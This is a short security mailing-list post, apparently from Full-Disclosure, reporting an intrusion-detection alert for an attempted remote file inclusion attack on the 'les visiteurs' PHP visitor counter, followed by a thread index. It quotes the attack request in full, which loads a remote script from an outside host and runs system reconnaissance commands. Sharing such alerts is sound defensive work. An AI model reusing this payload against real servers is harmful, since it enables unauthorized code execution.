|
last night snort detected this
request:
GET
/counter/include/new-visitor.inc.php?lvc_include_dir=http://c2r.canalforbid.org/hax.gif?&cmd=cd%20/tmp;uname%20-a;id;cat%20/proc/version;ls
because i patched 'les visiteurs' as described by
'matthieu peschaud'
on bugtraq on the 26 of october nothing happend,
but it looks like someone
is trying to exploit this bug.
just want to mention it to this wonderfull list
:)
kind regards,
Evert
|
- Re: [Full-Disclosure] file inclusion (les ... Evert Daman
- Re: [Full-Disclosure] file inclusion ... Lorenzo Hernandez Garcia-Hierro
- Re: [Full-Disclosure] file inclusion ... Dan
- Re: [Full-Disclosure] file inclus... Lorenzo Hernandez Garcia-Hierro
- Re: [Full-Disclosure] file in... Evert Daman
- Re: [Full-Disclosure] file in... gazpa
- Re: [Full-Disclosure] fil... Christian Horchert
- Re: [Full-Disclosure... Lorenzo Hernandez Garcia-Hierro
- Re: [Full-Disclosure... gazpa
- Re: [Full-Disclo... Christian Horchert
- Re: [Full-Di... Evert Daman
